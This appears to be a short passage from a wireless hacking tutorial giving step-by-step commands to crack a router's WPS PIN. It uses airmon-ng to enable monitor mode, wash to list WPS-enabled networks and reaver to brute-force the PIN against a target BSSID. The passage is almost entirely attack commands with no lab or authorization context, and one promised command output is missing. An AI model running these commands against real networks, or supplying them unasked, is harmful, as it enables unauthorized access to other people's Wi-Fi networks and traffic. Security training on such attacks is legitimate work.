Let's perform the following steps:

1. We start our interface in monitor mode by using the following command:

airmon-ng start wlan0 

2. Then we need to find the networks with WPS enabled. We can do that by using the following command:

wash -i <monitor mode interface> -C

Once you run the preceding command, you will get the following output:

3. Now we run reaver by using following command:

 reaver -i wlan0mon -b [BSSID] -vv -S -c [AP channel]:

Once it's done, we should see the PIN.